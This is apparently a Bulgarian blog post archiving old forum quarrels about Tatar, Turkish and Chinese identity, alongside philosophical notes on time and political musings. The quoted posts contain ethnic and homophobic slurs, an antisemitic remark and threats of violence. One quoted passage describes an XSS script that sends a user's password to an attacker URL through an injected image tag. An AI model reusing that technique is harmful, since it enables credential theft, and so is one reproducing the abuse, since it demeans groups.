ТОЧНО !!! В КИТАЙ ЖИВЕЯТ ДЕМОКРАТИЧНО И В АВТОНОМЕН РАЙОН, А В ТУРЦИЯ ЖИВЕЯТ ПОТ ЦЪРВУЛА НА ЙЕНИ-ОСМАНЛЪКА И ИЗЛИЗАТ ТАКИВА ЕНИЧЕРИ ЗАБРАВИЛИ РОД И ЕЗИК КАТО ТЕБЕ! На времето ми искаше татарски речници, понаучи ли го малко, поне?
"az gledam istinskite rodnini kazak,turkmen,kirgiz i t.n."
ТУРКМЕНИТЕ СА ТУРЦИ И НЕ СА НАШИ РОДНИНИ!
КАЗАХИТЕ И КИРГИЗИТЕ СА ОТ АЛТАЙСКАТА ГРУПА КАТО КОРЕЙЦИТЕ И ЯПОНЦИТЕ И СА!!!
Ето ти сега КИРГИЗКО, КАЗАКСКО, ЯПОНСКО И КОРЕЙСКО, ЗА ДА СЕ УЧИШ НА АНТРОПОЛОГИЯ:
1. КАЗАХ:
2. КИРГИЗ:
3. КОРЕЕЦ:
4. ЯПОНЕЦ:
"bana gereken milli kulturel akrabalar. isadan once bize akrabaymislar gozleri cekikmis, bunlar fasa fiso. suan gunumuzde bizim onlarla hic bir baglantimiz yok, ne dilleri , ne dinleri, ne kulturleri ne hicbirseyleri. bunlarla ugrasmak tamamen sacmaliktir.
turkiye tarihi hakkinda yalan bilgi yazma. osmalica persce degildir. Ataturk alfabeyi degistirmistir sadece."
ПО ТОВА, КАТО ГО ПРЕВЕДЕШ, няма да се моря да разчитам измислени езици!
Като можеш да пишеш на български, що все на турски те избива? В университета професора като ти даде да си изтеглиш въпрос и почнеш да говориш какво казваш? "Господин професор, чатла-патла кайнана!" ли? Laughing
kendi resmini de koy bakalim akrabalarina ne kadar benziyosun Smile
Върнете се в началото
Далай_Татар
Регистриран на: 20 Юни 2006
Мнения: 111
МнениеПуснато на: Пет Юли 28, 2006 11:51 am Заглавие: Отговорете с цитат Променете/Изтрийте това мнение Изтрий това мнение Вижте IP адреса на потребителя
"prashtat agenti i ti znaesh bravo. tva e prikazka. turcia s amerika malko trudno!!!"
ХА! Че, разбира се, то това е "обществена тайна"! НАли турската политика е в това, че всички тюрки са турци и трябва да има ТУРЦИЯ ОТ ВИЕНА ДО ПЕКИН!
И нали ти самият като Анонимен беше задръстил тука с шовинистически сайтове, ХОСТВАНИ И ПОДДЪРЖАНИ ТОЧНО ОТ ТУРЦИЯ, какво се правиш на разсеян?
"procheti komunisticheskite vremena. oshte minalata godina se zapoznah s edin uygur profesor izbqgal ot tam i me razkaza demokraciata."
Може да е избягал по време на трудните години, сега никой не бяга, АКО НЕ Е ПРЕСТЪПНИК, КОЙТО ДЕЙСТВА ЗА СЕПАРАТИЗМА НАГУШЕН С ТУРСКО-АМЕРИКАНСКА ПАРА! А и искаш ли да си поговорим за ИЗБЯГАЛИТЕ КЮРДИ ОТ ТУРЦИЯ? И ЗАЩО ТУРЦИЯ Е НА ОПАШКАТА ЗА ЕС? ПРАВАТА НА ЧОВЕКА ПО ЗАТВОРИТЕ ТАМ?...НЕЩО ДА ИМАШ ДА МИ КАЖЕШ НА ВЪПРЕКИ!?
"sen turkiyeyi yakindan uzaktan tanimiyosun. sabanco turkiyede kendini ne istersen onu tanit kimse sana birsey demez, ister tatar de ister bulgar ister cingene kimse seni turk yapmaya ugrasmaz kimse ilgilenmez. "
"ШАБАНЧО" ВИКАЙ НА РОДНИНАТА СИ, ДЕТО ТЕ Е СЪЗДАЛ, МАЛКИЯ!
И НА ТУРСКИТЕ ТИ ЧАТЛА-ПАТЛА НЯМА ДА ОТГОВАРЯМ!Ти, като споменаваш за "ЧЕНГЕНЕ"-та, си баш като тях - 5 думи на български и 10 на турски, с малко от твоя език - баш си КАРАШЪК!
"az koga sam ti kazal taka neshto , pak si prais ostar zavoi Smile"
ЗАВОИТЕ ГИ ПРАВИШ ТИ И ТО ДОСТА НАЛЯВО! ТЕМАТА БЕШЕ ЗА ТУРСКИЯ ЕЗИКтатарите турци ли сме или не сме? Щото Билгин Басаран говори на турски, при положение, че може да говори на български и пише в сайта на БЪЛГАРСКИТЕ ТАТАРИ! Аз да почна ли да пиша на китайски? Мога , не ми пречи - 你是个塔塔尔人吗?Ама от какъв зор???
И , ГОСПОДИНЕ "АЗ-ГОВОРЯ-ТУРСКИ", НА ТУРСКИ "КИТАЙ" Е "ЧИН", а не "КИТАЙ"!!! ГОЛЯМА ГРЕШКА ЗА ТУРКОФИЛ КАТО БИЛГИН ЕФЕНДИ! СИГУРЕН СЪМ, че и на татарски не знаеш как се казва!!!
_________________
Единство на ТАТАРЛЪКА, Единство на ИЗТОКА. Велик Източен Съюз.
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Изпрати мейла
Покажи мнения от преди:
Създайте нова тема Напишете отговор www.tatars-bg.org Форуми -> Дъра-Бъра Часовете са според зоната GMT
Иди на страница Предишна 1, 2, 3
Страница 3 от 3
Наблюдавайте тази тема за отговори
Изтрийте тази тема Преместете тази тема Заключете тази тема Разделете тази тема
Идете на:
Можете да пускате нови теми
Можете да отговаряте на темите
Можете да променяте съобщенията си
Можете да изтривате съобщенията си
Можете да гласувате в анкети
Можете да модерирате този форум
"
Да коментирам ли нещо? Явно е, че са отдавна минали неща.
1. За финеса и мъдростта на Изтока - то теоретично може и да е така, но на практика, като ти се стовари някой неофеодален, несвободен, неоимператоризиран режим, всичката мъдрост и финес отиват на кино. Както казах, то дори Туриция в днешно време се оказа по-свободна и демократична от Китай, да не говорим за Русия, Северна Корея...
2. Един татарин не можел да обича Китай... Оффф, колко назад е били (сме били) с материала. Татарин/нетатарин може да обича или мрази всичко. Зависи от човека, къде е роден, как е възпитаван. Има татари си обичат Китай, дори и в днешно време, има татари си обичат Русия и даже се включват в армията й да се бият в Украйна, има си татари си обичат Турция, а си има и татари си обичат България, Румъния и навсякъде, където живеят. Например има фински (финландски) татари и си обичат Финландия...
3. Макар и да е вярно, че Турция сега е малко по-демократична от Русия, Китай, Северна Корея и др., то общо взето добре, още на времето, съм сханал завоя към неоосманизъм (нео-султанизъм, представен сравнително изчерпателно от Ердоган, но както казах, дори той не е толкова нео-султан, колкото Путин е нео-цар/нео-император например, както и Си, да не говорим за Ким Трети.)
4. Промитачеството (промиването) го има навсякъде, когато става дума за малцинства (а понякога и за собственото мнозинство); разликата е в степента.
5. За тормоза над малцинствата - винаги е имало спорове; не се знае докъде е истинската история и откъде започват измислиците, обаче, има нещо, по което да се ръководим - като видиш някой даже срещу мнозинството си да прекалява, имайте едно на ум, че може да се направи обосновано предположение, че спрямо малцинствата също няма да има някакви задръжки.
6. Като цяло, няма смисъл от загуба на време, както преди сме правили, в спорове къде е по-добре и къде не е. Всеки, който си цени свободата, достойнството и възможностите, да бяга от неофеодални държави (и да не се забива в неразвити такива), а пък който си има мотиви или по-специални разбирания от типа на "Аз обичам империите, искам да живея в империя.", е нека си има и той/тя избора. Плурализъм.
-
Разни от 2006, най-вероятно от Атакистките дискусии. Някои бяха наистина преминаващи границите и радикализирани. Скоро се отказах от всичко това.
Ето първо някакъв майтап (с редактирани имена, защото майтап-майтап, но не бива да се подвеждат хората, в случай, че някой го помисли за доказана истина, а и не се знае има ли грам истина или не.)След него и други неща, които май са били реакции на първото; много време е минало и не помня детайли, но си беше интересно, поне от психологическа гледна точка, та съм ги запазил:
"Искам да направя признани е тук.Цяла нощ не съм спал.Последните няколко месеца бях подкупен от В. който е централен модератор на форума "а." да спамя,да ядосвам хората и да се првя на прасе.Отначало се държеше добре с мен.Но после започна да иска да работя повече.Затова зарегистрирах много никове п.,а.,м.,м.,а. и К.........след това отново владо ми се озъби защото не съм можел да се справям с постовете на т.-на.После пуснаха з. но и тя се провали и я изгониха преди мене.питах в. защо и той каза че много съм питал,ако искал можело да я върне,нали съм вземавал пари какво ми било работата?:(:(:(:(:(:
После пак уж се бяхме сдобрили и ме води на срещи с хора от младежката а.,но и с хора на Д..Лично сме ходили в неговия кабинет с С. и В.,където имаше портрет на Левски:(
Доколкото разбрах във форума на "а."си имат много по-умни агенти от мене,които се правя на националисти,но не трябва да ядосват никой,а само да се прявят на сладки котки които да се докопват до информация за всеки обикнове юзар:(помежду си не се познават и само В. ги знае като така си отваря вазможности и за контрашпионирване.
Отначало мисля че В. обичаше "а." а после се продаде на ..., каза ми да си затварям устата защото само да решели и щяли да ме пречукат резаните:( Ицялата пумия във форума е за това да може хората да се отвратят от "а." и да станат за П. или най-малкото което да е да не гласуват.
Аз бях само една малка верижка от голямата брънка но ви давам покаянието си и искам да знаете че оттук нататък никовете ми може да се хакнат и някой да започне пак да пише от мое име.Не се връзвайте повече!аз съм продажник, за пари,но все още обичам моята България и не съм луд.поне не съм луд но ме караха да се правя за да замърсявам и отвличам сазнателните хора.
Не знам с какво да помогна още доста ме е страх и може да престана да пиша поне преди да се преместя в друг град.Искам само да ви кажа да не се доверявате на НИКОГО защото хора,които най-много се правят на националисти като С. са предатели и интимни приятели на демоните на д. като В.!
_________
И ЕТО КАКВО СТАНА ПРЕЗ ПОСЛЕДНИТЕ 24 ЧАСА НАКРАТКО.ПРАСЕТО В. СЛЕД МНОГО ВЪПРОСИ НА ПОТРЕБИТЕЛИ СЕ ИЗНЕРВИ И НЕ МОЖА ДА ОТГОВОРИ НИЩО ПО СЪЩЕСТВО САМО ЗАПЛАШИ С БАНИРВАНЕ!А З.,КОЙТО Е АГЕНТ НА В.,ОТНОВО НАЛИНИЯ СЛЕД КАТО МЕНЕ МЕ БАНИРА,ГО ПОДКРЕПИ,УЖ С ОТВРАЩЕНИЕ!ПОКАЗАХА СИ ДОЛНАТА КОЧИНА!А В.,КОЙТО ТВЪРДИ ЧЕ БАНИРВАЛ И ТРИЕЛ САМО АКО ИМАЛО ПРИЧИНА МУ ПОКАЗВАМ ПРИМЕРИ КОГАТО СИ ЗАРАБОТВА ПАРИТЕ НА Д., ОСТАВЯЙКИ НАЙ-ГНУСНИ ПРОВОКАЦИИ,ОБИДИ И НАРУШАВАНЕ НА ПРАВИЛАТА!СЕГА ДА ЗАПОЧВАМ С МОЯ НИК,КОГАТО ТЕЗИ ДНИ В. ИЛИ НЯКОЙ ОТ МОДЕРАТОРИТЕ МУ КАТО Ч. М. СА ПИСАЛИ ОТ МОЕТО ИМЕ
"М."(В КАВИЧКА ГО СЛАГАМ ЗА ДА СЕ ЗНАЕ ЧЕ НЕ Е Е ОТ МЕН НО Е ОТ МОЯ НИК)
Цитат на: Гълъбов в Ноември 11, 2006, 05:57:53 pm
Цитат на: m. в Ноември 11, 2006, 05:25:14 pm
По скоро сатанински продукти, евреите само ги възпроизвеждат в полза на сатаната.
Те са общо 10 души при това психически болни та кой ли би се обединил с тия Йоловци ?
Келешче! Така ми е накипяло от кретенчета като тебе че имам лошото чувство че върна ли се в София ще се разделиш с част от зъбите си!!!
Ще те чакам продажнико сектантски, ма дали ще ти стиска ? Щото вашата секта е характерна и с страха си.
Абе Тангру коя е вярата на истинските българи бе ? Психичноболните измислици на Елтимир ли бе ?
Или може би тия на Йоло
ВИЖДАТЕ ЛИ КАК СА МЕ НАСТРОИЛИ ПРОТИВ ЕЛТИМИР?А ВСЕКИ,КОЙТО МЕ ПОЗНАВА ЗНАЕ,ЧЕ АЗ ГО ХАРЕСВАМ!!!!!!!!!!!!!!!!11
СЕГА СЛЕДВА Т.
Основни теми / България / Re: ВИНОВНИЛИ СА СЛАВЯНИТЕ ЗА РАЗЛОЖЕНИЕТО НА ПРАБЪЛГАРСКАТА БОЙНА И ПОЛИТИЧЕСКА МОЩ -: Ноември 09, 2006, 02:04:08 am
Цитат на: ц. в Ноември 05, 2006, 10:08:15 pm
Това ли си позволи да ми вмениш, че карам някого да псува мъртвата ти майка???????????????????
Ти си жалък манипулатор и аз бях до тука с разговорите с теб, когато нямаш аргументи ставаш мръсник!!!!!!!!!!!!!!!!!!!!!!!!
Нека всеки който е започнал контакт с тебе да го знае.
Д., Ц. нито ме е карала да обиждам умрялата ти ШИБАНА майка, нито е казвала изобщо какво да пиша. Защото ако си малко по бързо схващащ, ще зацепиш, че още от началото на лятото си те псуавам на пукналата ти ПРОТИВНА КОМУНИСТИЧЕСКА майка кръвосмешена, а не е от вчера. Така че, мамка ти и умряла, да не набеждаваш хората в неща, които изобщо си нямат и на хал хабер, за какво става на дума, че инак ти цепвам мръснишката ти устенца, татарска гмеч такава. И май вече ти казах един път, лично познавам Ц., и не си позволяваи да я обиждаш, че наистина ще си направя пътуването до централата на ПП А., и ще се обърна лично към администрацията на този форум, за да те изритат от тук. Не само защото обиждаш Ц., а изобщо за където обиждаш, всичко ПРАВОСЛАВАНО и БЪЛГАРСКО. Така че! помисли си много добре, татарче извратено, кого обиждаш, и какво обиждаш, за да не стане след това, ама защо не мога да вляза в акаунта си.
ДА НЕ ЗАБРАВИМ И ДОКАЗАН АГЕНТ С. ПЕДЕРАСЧЕТО НА В. НЕРЕЗА
Основни теми / България / Re: !!! ВНИМАНИЕ СЕКТИ !!! -: Ноември 11, 2006, 07:33:26 pm
Не го дигаш пешлеме.
Гаргата -аут
ПОВЕЧЕТО ПОСТОВЕ НА ТОЗИ ПЕДЕРАС СА С ПО ЕДНО ИЗРЕЧЕНИЕ,ПОНЕЖЕ ПОД ПЪРХУТЯСАЛИЯ МУ СКАЛП МОЗЪКА РАБОТИ ПО-ЗЛЕ И ОТ ТОЗИ НА ПРАСЕ МАЙКА КОГАТО ХРАНИ ПРАСЕНЦАТА!!!!!!!!!!!!!!!ОБАЧЕ Е НАЙ-БЛИЗКИЯТ АГЕНТ НА В.!!!!!
ХАЙДЕ СЕГА В. ДА КАЖЕ КАТО Е ТАКЪВ ДОБЪР МОДЕРАТОР ЗАЩО ТЪРПИ ВСИЧКИТЕ ТЕЗИ БОКЛУЦИ?ОТГОВОРА Е ПРОС!!!!ЗАЩОТО ТЕ ТРЯБВА ДА СТОЯТ ТУКА УМИШЛЕНО ДОАТО СЕ ИСПАРЯТ ХОРАТА И СЕ НАСТРОЯТ СРЕЩУ А.!!!!!!ВЕЧЕ ИМАМЕ СЛУЧАИ НА НАПУСНАЛИ!!!!!!НА РАЗОЧАРОВАНИ И Т Н!!!!БРАВО НА Д. САМО ТОВА ЩЕ КАЖА!!!!!!!!!В. Е САМО ЕДНА ОТ БУРМИЧКИТЕ С КОИТО Д. СЕ РАЗПРАВЯ!АМА В. КЪДЕ СПИ ЧЕ НЕ ВИЖДА КАКВО СТАВА ТУК????
По повод на Петър Добрев: чела съм му лингвистичните обосновки на тюркския произход на български думи и мога като лингвист да заявя, че са неверни. Освен че като научна обосновка са неоснователни, бъкат и от неточности: цитира се речника на Иван Даль, а той е Владимир Даль, цитира се дума, която отсъства в посочения от него речник, позовава се на речник, който е излязъл с 5 години по-късно от посоченото и т.н. Това, което прави П.Добрев, е да хване няколко руско-памирски речника, да намери там думи, които звучат близко до някакви български думи и имат някаква прилика в значенията и въз основа на това да прави супер генерални изводи за произхода на българите. Като при това абсолютно недопустимо сравнява думи от съвременни езици, без да се интересува какъв е произхода им и как те са звучали и какво са означавали примерно към 10 век, без да се интересува, че сравнява основа на думата, т.е. корен, с наставка на друга дума и т.н."
Това са всичките; разпокъсани, откъслечни цитати, по различни проблеми и теми, писани от различни хора - някои по-заблудени, други по-интелигентни, някои направо с психически проблеми...
-
Само като им зачетеш понякога никовете от сорт на "прасунгер", "мишок" и какви ли не бяха ти става ясно. Сега има и по-нови генерации "възрожденци" и рашисти с още по-сладки изцепки. Кога ли ще се оправи светът към по-добро, повече мир и истинска демокрация, м?
-
от отминалите години "Ти пък откъде се изклюпи?"
Малко по-късно, когато един от тези влезна в затвора за 10 месеца (за отвличане) и на В. му се отбеляза да види какви е хрантутил във форума имаше само едно "Ти пък откъде се изклюпи?" ;D Толкова можа.
Между другото гледам, че от ревностен националист и православен тоя станал ислямист. (Говоря за оня с "майката" от цитата по-горе, не за В.. Умишлено не му споменавам името да не дотърчи тук и да трови този форум, защото и без това трови други.)
-
Да заповяда човечецът. Е, вероятно ще бъде баннат, ако държи същия курс на обиди от най-долен порядък. Ако просто си защищава някоя гледна точка, както омнилогията и плурализмът предполагат тук, няма някакви проблеми. Всеки има право на втори шанс. За съжаление, както и аз чета сега онлайн, с тези негови резки завои в убежденията, както и с цялостното поведение онлайн (и офлайн, доколкото знаем), не ми вдъхва много доверие, но от плуралистична и хуманистична гледна точка, може да му бъде дадена думата поне веднъж, но пак казвам, ако се пропагандира ислямизъм, рашизъм, нацизъм и всякакви подобни неща, свързани с насилие, няма как просто.
Няма смисъл от повече дискусии по темата.
-
С един колега, от 2007 година, когато сме си разменяли философски творения. Давам само моите забележки.
____________
Заб. Да се има предвид, обаче, от чисто философско-антропологична гледна точка, че някои племена въобще не създават “време” като понятие. Това може да се мисли двояко – или са изостанали или са достатъчно “напреднали”, за да не се поддават на такива изкушения. Аз лично съм на позицията, че времето е просто мярка за движение и/или изменение и не е нещо субтратно-обективно, както се стремят да го изкарават редица физици, философи и пр.
____________
Заб. Платон си е имал право на такова разбиране. Тук, обаче, аз не бих му правил подобна “реклама”. Напротив – струва ми се много праволинейно заключение. Почти идеологическо от страна на Платон (и то не в смисъла на неговата Идея, а точно в “партиен”, “партизански” смисъл). Значи нещо като е причастно към битието, няма как да не е причастно към времето. Най-простото възражение може да бъде – ами, ако пък е причастно само към пространството? Ами, ако, въобще, няма такова нещо като “време”? Да не забравяме, че много от нещата са били и са си “идоли”. Така на времето дори Ленин е вярвал, че има “топлород”, следвайки тогавашна физико-химическа парадигма.
Това за Ленин и топлорода, по-сетне разбрах, че май е само слух. Няма безгрешни хора. Той самият Ленин го е казал, че всеки греши, но само глупавите допускат грешката отново. :)
Заб. Всичко това е резонно и логично, ако се следва Хайдегер. Обаче, на мен ми се струва, че се предпоставят излишно същности, които не са доказани. Т.е. правя едно Окамово /”Бръснача”/ възражние спрямо неща като “божественото”, да речем. Погледни само колко странно и нерелевантно стои до съвсем НАГЛЕДНИ неща от рода на “човек”, “място”...
---
Заб. Ето точно за това и аз говоря. Божественото (в неговия пряк смисъл, а не епифеномените – религиозни култове, вярвания и пр., т.е. по най-обща онтологична дефиниция) по никакъв начин не е дадено в опита на човек (едва ли вярваш, че на някой наистина му е говорил Господ под формата на горящ храст и пр. еврейски приказки). В този смисъл, особено за по-широката публика, да се поставя така понятието си е жива религиозна реклама. Някакси, все едно, географ да оперира твърдо и убедено с държавата/континента Атлантида. Не е коректно.
__________________
Заб. Често е така, но, както посочих с примера за народността неизползваща понятие за време, както и за отделни индивиди, които не си служат с време (по редица причини), то трябва да се има предвид, че не всеки му придава онзи смисъл и значение, което е описано тук. Ето защо, пак малка традукцийка, така написани нещата звучат в стил : “Всички хора обичат сладкия шоколад!”, да, но на 100 000, примерно, се намира някой “чешит”, който казва, че това е отвратително нещо и няма нищо по-хубаво от натуралния, ГОРЧИВ шоколад... И с времето така – има си изключения, които не само, че не потвърждават някакво правило, но и направо насочват вниманието към факта за надценяването на понятието “време” и в масовото, и във философското съзнание.
——————————————————
Заб. Има ли основания да се работи с таква категория и като как се приема тя за налична именно в онтологичен смисъл? Т.е. с какво “време-битието” се различава от “Вселенския розов слон със зелени уши от съзвездие Х” ?
---
Заб. Точно това е въпросът – дали има обективно “време” или това си е само една абстракция, която с нищо не е по-реална от “Тангра” или “Природата”?
______________
Заб. И не би било редно, именно защото повечето изпадат именно в такава крайност да надаряват с битие една дума “време”, която по никакъв начин не е обоснована от която и да е наука.
---
Заб. Именно, именно. Ето така се прави идеализъм – предпоставят се няколко същности с нищо необосновани, директно “ex nihilo”, след което на тази предпоставка се построява цял Платонизъм (че и Християнство по-късно)...
---
Заб. Това е илюзия, обърнат образ. Напротив – не времевият момент е определящ за битието на нещото – а напротив – като го има това нещо, може и да се говори за времеви моменти. Ако имаме една абсолютна празнота (даже не и вакуум, че нали напоследък казват, че и в него имало елементарни частици или нещо от сорта), то в нея не може и дума да става за време. За да имаме време се искат НЕЩА. И вече в тяхното движение (изменение и развитие) може да се обоснове, ПРОИЗВОДНО, време. Защото това, както казах е само мярка на движението.
---
Заб. Което е и доста по-научно схващане на нещата. Независимо дали един ден ще се докаже, че креационистите (от Платон до института в Сан Диего) са прави или не. Докато нямаме никакви данни, най-добре е да се подхожда по Окамовски и да се приема Аристотеловата теза, по отношение на Твореца/Демиурга.
---
Заб. И правилно е постъпил. (Говоря за Аристотел, който преценява, че въпросът за природата на времето трябва да бъде поставен в рамките на учението за движението и движещото се, тъй като само през тях за нас е видно нещо такова като времето.)
--
Заб. Именно, което и води до логическия извод, че това е само една антропогенна мярка за нещата. (Във връзка с това, че щом определяме движението от времето, времето не е движение.)
--
Заб. Забелязваш ли как с това се предицира времето като субстратност, едва ли не?...
--
Заб. Ето и защо аз съм от хората, които смятат времето само за “число”, мярка, а не за субстратност. И това даже не противоречи на най-модерните опити със самолети, обикаляли планетата ни, където се доказало, че “времето се забавяло”. Просто се е забавяло движението, това е всичко.
--
Заб. Златни думи!
(Като се абстрахираме от “душата”, де.) (Във връзка, че Аристотел достига до извода, че “ако нищо друго не е способно по природа да изчислява освен душата и нейният ум, то, ако не съществува душата, няма да има и време, а само това, което е в някакъв смисъл субстратът на времето – именно движението, ако то може да съществува без душа”)
--
Заб. Не ми е ясно какво е понятието за “душа” на автора – Н.Т.. Ако се базирам на моето си понятие, то това е неправомерно казване. По-скоро трябва да си служим с категории – психика, съзнание, самосъзнание...Душата е доста религиозно-мистична категория, макари философска, също така. В този план да се говори за многомерност на нещо, което тепърва не е ясно дали съществува е пак религиозен похват.
---
Заб. Да, това е много добро NOTA BENE ! (Във връзка, че се преодолявала и отчасти едностранчивата платонова постановка за времето като нещо напълно независимо от душата.)
---
Заб. “Човешкото-пребиваване-в-света” не е ли излишно-обстоятелствено? Може ли да има “Човешкото-пребиваване-в-...(нещо по-различно от света)”? Т.е. човек не пребивава ли ВИНАГИ-И-САМО в света? (Поне към днешна дата). За днешната дата, т. е. тогавашната, имах предвид, че по-натам може да настъпят времена, когато човеците ще пребивават и на други светове (примерно планети, годни за живот), но само толкова. Не предполагам никакви мистични, недоказани светове и същности.
---
Заб. Така е. И, доколкото е важно за правилното понятие за онтологията на миналото и бъдещето, аз смятам да кажа, че те не се налични. Бъдещето, примерно е само възможности, които наистина са ситуирани в настоящето и, разбира се, дали и кои ще се превърнат в действителност зависи само от това което се случва сега. В противен случай се стига до физико-философския парадокс за паралелните вселени. Самото минало също не съществува вън от настоящето, доколкото може да се каже, че съществува.
---
Заб. Понякога се чудя дали такива прозрения от страна на известни, все пак, философи имат някакъв принос за знанието въобще? Това наистина е очевадно даже за първи клас.
---
Заб. С това оставя впечатлението, че няма други необходими условия и, че, едва ли не, времевостта е самодостатъчност. (Във връзка с Хайдегер.)
---
Заб. Не се търси, което и създава впечатлението за времето като субстратност, в което е и примитивизма на много народ. От друга страна, ако изхождаме с ясната идея, че това е само мярка, антропогенна, то тогава е съвсем друго. (Относно това, че времевите моменти се третират като изцяло независими от начина на битие на човешкото биващо или, най-малкото, че такава зависимост не се и търси.)
---
Заб. Не точно. Примерно, както казахме, има си хора, за които такива думи нямат никакво значение. Те даже със седмици и месеци не оперират. Отделно, има си пък езици, в които можеда се мисли като “преди-и-сега”, нещо от сорта на ”все още”...А! И да не забравяме квантори от типа на ВИНАГИ и НИКОГА...
---
Във връзка с това, че Хайдегер писал, че “движението и движещото се са във време не в този смисъл, че те принадлежат на времето само по себе си, а така, както изчисляемото е в числото. Както изчисляемото е в число, така и движението е във време”: Ами НОТА БЕНЕ, разбира се ! Предай много поздрави на брат си, че все се сещам как си говорихме с тебе и с него за Лениновите “NB” и “Ха-ха-ха!”...Така и не разбрах какво против имате този философски подход ;)
---
Заб. Обхваща го като понятиен конструкт и по никакъв друг начин. (Относно това как може да "обхваща" времето.)
---
Във връзка, че като чувстваме, че тук е хладно, то в това е заключено “сега” е хладно. Заб. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Въобще НЕ Е ЗАДЪЛЖИТЕЛНО, да се мисли САМО потози начин! Може като някой каже, че е хладно да го мисли като СЕГАШНО ПРОДЪЛЖИТЕЛНО. Тоест СЕГА-Е-И-ЩЕ-Е-ХЛАДНО.
Може пък и да го мисли като ХЛАДНО-Е-ПО-ПРИНЦИП. Тоест отишли от Гърция във Финландия и си рекли : “Хладно е тук.” (В смисъла на БИЛО Е ХЛАДНО-Е ХЛАДНО-И ЩЕ Е ХЛАДНО!).
Ето защо Хайдегер като е писал/казал това, явно е изхождал само от собствените си интроспекции и не е пожелал да помисли малко по-широко и всеобхватно за възможностите.
---
УЖАССССсссссс. Значи, ако не изговаряме нещо налично, то остава само да заговаряме самите себе си...Със същия успех мога да кажа, че, ако нещо не е бяло, то е черно...! ДРУГОСТТА НЕ Е САМО ЕДНО НЕЩО. Имаме “другостИ”.
---
Толкова съм прокоментирвал.
-
Предфейсбукни
Някои си мислят, че след появата на Фейсбука (или поне на форумите, т. е. след онлайн общуването) се нароила простотията. То, че по този начин може да се види повече е вярно. Че има затъпяване сред по-голяма част от населенито (в сравнение с епохата, когато всички без изключение ходеха на училище и всички институти и университети бяха пълни, но все пак и тогава нямаше 100%-ва умност) също сигурно е вярно. Обаче, искам да припомня, че по времето прединтернетно, съответно и предфейсбукно, когато имаше телефонни конферентни линии за масово общуване и запознанства, там също се проявяваше простотия. Една от тази предфейсбукни простотии беше в лицето на един-двама "много оригинални", които като не харесваха някой или просто искаха да избият комплекси, да се направят на интересни и пр., без да го слушат какво казва вкарваха "педераст" в разговора - примерно човекът пита нещо или казва, че не е съгласен, че еди кой си стил музика е популярен и някой от споменатите ще рече "в отговор":
- Е, да де, ама ти педераст ли?
Та така. Архивите са живи, както се казва. ;D
-
Винаги съм имал непоносимост и неприязън към хакерите. Не говоря за онези белите хакери или както и да се наричат, които помагат за отстраняване на проблеми! Говоря за онези, които разбиват сайтове, пароли, крадат и т. н., т. е. за престъпните индивиди. :(
Преди време имаше някакви, които се навъртаха из АБВ-то. Най-незабравим беше един мераклия (кандидат-хакер), който питаше простодушно в стил: "Да ви питам как може да се хакне някой сайт, например Гугъл?" Отговорите бяха сравнително-адекватни, цитирам по памет: "Ха-ха! Гугъл му се приискало да хаква на пишлемето! Ами питай ги от Гугъла, може пък да "разрешат"." и "Не трябва да питаш как да хакваш, а как да се защитиш от хакери!" Обаче имаше и по-напреднали. Един наистина беше май успял да пробие паролите и даже обясняваше (този цитат съм го запазил 1:1):
"
Има три части (всяка е escape-ната и е записана в една променлива от предишната част). Първата част просто те препраща към отговор на съобщението чрез хипервръзката (претърсва документа за нея). Втората част се активира, ако се намираш във формата за отговор и просто добавя третата част на скрипта към едно от полетата на заявката. Третата страница е преглед на съобщението, което де-факто активира третата част на скрипта (и в тази страница вече имаш паролата на потребителя). Скриптът го чете от hidden-полетата и прави document.write("<img src='http://...my .php?un='" + username + ...)
Сещаш се в общи линии накъде бия ;)"
Давам го, за да си оправят такива пропуски собствениците на сайтове, ако четат това, а не да уча хората на безобразия! >:(
-
Пак някакви политически спорове, пак от (около?) 2006 година
"От писаното от теб човек би си помислил"
Всеки човек би си помисли нещо различно. Това е открито още от Кант.
"че в Китай всичко е цветя и рози"
В сравнителен план.
(За съжаление, след неофеодализацията, неоимператоризацията и пр. вече няма как да кажа, че така стоят нещата. Все повече ограничения, намаляване на свободи, засилване на контрол, агресивност, промиване... Не възхвалявам всичко това.)
", птичките пеят"
Да, тука даже и цикади има, много е шумно понякога.
", децата играят"
играят, имат по-добре изградени детски площадки.
", кипи социалистически труд"
Кипи не, ами ври. То си личи по бурно развиващата се икономика и по ниската безработица.
Каква ирония... сега безработицата е много неприятна, и за млади, и за стари, а икономиката беше супер наранена заради мегаломанската луда идея за нулев КОВИД, както и заради външни фактори като войната на Путин.
", врага продължава да бди,"
Ъ? Това опит за неуспешна ирония с "да бъдем нащрек срешу врага" или "армията бди" ли е?
Неприятното е, че дори хора, които искат да правят добро за страната може да се обявят за врагове!
"за международното положение да не говорим."
Ами ха познай кой прави повече зулюм в международен план - Китай или НАТО?
В днешно време се видя, че най-неприятната и опасна е Русия, следвана от Северна Корея... НАТО не ми беше никак симпатично, но дойдоха времена да казвам "Добре, че го има НАТО!", защото не искам целият свят да заприлича на една голяма Русия (рашизъм).
__________
" Само че като се замисля в доста страни има емигранти от Китай, почти по целия свят."
Ами то им е традиция. А и не всички оценяват това, което имат. Отделно си има хора, които са аутсайдери и не могат да се реализират тук. А да не говорим за особняци, които предпочитат неморални страни. Да речем има бандити, които предпочитат да избягат навън, понеже тук има смъртно наказание. Всякакви ги има.
Вярно казано за времето, когато наистина нещата бяха прогресивни, развиващи се, с достатъчно контрол, но сега, след всичкия този регрес, който някои наричат "Културна революция 2.0", а за мен си е чисто и просто рефеодализация; неофеодализация, то няма как да обвиняваме тези, които искат да живеят в страни с повече свободен избор (политически, икономически и пр.) Ами то дори в някои европейски държави има повече социалистически и републикански прояви, отколкото в Сиски Китай или Путинска Русия.
"Ще изредя някои от тях: САЩ, Канада, Австралия, Великобритания."
И какво? Тук също имаме емигрирали англичани, австралийци, американци и канадци, но не си правим прибързани заключения.
Понамаляха тези. Сега мнозинството, както ми се струва, са пакистанци, африканци... Логично е да е така.
"Тове е икономическа и политическа емиграция."
